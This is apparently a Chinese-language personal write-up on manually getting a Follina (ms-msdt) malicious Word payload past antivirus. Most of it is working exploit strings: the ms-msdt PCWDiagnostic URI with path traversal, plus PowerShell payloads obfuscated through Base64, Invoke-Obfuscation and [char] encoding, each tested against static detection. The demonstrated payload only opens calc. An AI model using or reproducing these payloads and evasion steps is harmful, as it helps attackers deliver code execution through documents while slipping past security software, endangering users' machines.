第一次尝试手动过杀软,成功与否全看运气,没有任何技术含量,仅做记录,标题带双引号是因为word并没有过静态的查杀
在原始的样本中,是通过ms-msdt调用后,执行powershell
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h<powershel_payload>i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO
在一键生成word的脚本follina.py中,生成的payload是这样的
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=<powershell_payload>i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
通过对比上下两条,发现原始的样本中,删除执行的powershell后没查杀,而一键生成的则还是会被查
于是将payload中的IT_RebrowseForFile
改为cal?c
,发现并未查杀。
ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_BrowseForFile=<powershell_payload>i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
接下来尝试绕过powershell的内容
原始的和自动生成的在这里基本一致,所以拿一个举例
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]+[char]+'Unicode.GetString([System.Convert]'+[char]+[char]+'FromBase64String('+[char]+'YwBhAGwAYwA='+[char]+'))'))))
这一段是上面中<powershell_payload>
部分的内容。
解析一下,Invoke-Expression()
会将括号内的字符串当作powershell执行
先看第二个Invoke-Expression()
中的内容
'[System.Text.Encoding]'+[char]+[char]+'Unicode.GetString([System.Convert]'+[char]+[char]+'FromBase64String('+[char]+'YwBhAGwAYwA='+[char]+'))'
这一段等价于
[System.Text.Encoding]::Unicode.GetString([System.Covert]::FromBase64String("YwBhAGwAYwA"))
他的作用是,将YwBhAGwAYwA
这串base64转成字符串,也就是calc
,打开计算器的命令,但是上面的内容只是一串字符串而已,并不会执行,所以他是需要放在Invoke-Expression()
中,我们放到powershell中运行,可以看到结果
执行后的结果为,calc
但是到这一步也只是把base64解码了而已,要想继续执行,则需要在外面继续套一层Invoke-Expression()
,这样解码出来的calc
才会当作命令执行。
先看看两个Invoke-Expression
存在的时候会不会被杀,并不会
本人不会powershell,所以用Invoke-Obfuscation
对calc
命令进行混淆了一下,生成出来的命令如下:
-jOin( '63-61{6c-63'.sPliT('TSNL{-gw') | foREach-oBjeCT { ([ChAr]( [ConVErT]::toinT16( ($_.ToSTrIng()),16) ))})|InvOkE-eXprESsIoN
这一段的结果就是calc
了
-jOin( '63-61{6c-63'.sPliT('TSNL{-gw') | foREach-oBjeCT { ([ChAr]( [ConVErT]::toinT16( ($_.ToSTrIng()),16) ))})
得到calc
后,通过|传到Invoke-Expression
中执行
我们已经有执行的内容了,所以可以不需要管道符后面的内容,删除空格后,得到
-jOin('63-61{6c-63'.sPliT('TSNL{-gw')|foREach-oBjeCT{([ChAr]([ConVErT]::toinT16(($_.ToSTrIng()),16)))})
这样可以执行,但是放到.html中的不能这样,原始的payload中的符号都是经过+[char]58+
这种方式处理的,这是Ascii编码,如果'.{"
等符号出现在.html中的时候好像就会一直在检测问题
所以我们把payload都改为ascii的字符,就得到了
$(Invoke-Expression($(Invoke-Expression('-jOin('+[char]39+'63'+[char]45+'61'+[char]123+'6c'+[char]45+'63'+[char]39+[char]46+'sPliT('+[char]39+'TSNL'+[char]123+[char]45+'gw'+[char]39+')'+[char]124+'foREach'+[char]45+'oBjeCT'+[char]123+'([ChAr]([ConVErT]'+[char]58+[char]58+'toinT16(('+[char]36+[char]95+[char]46+'ToSTrIng())'+[char]44+'16)))'+[char]125+')'))))
尝试执行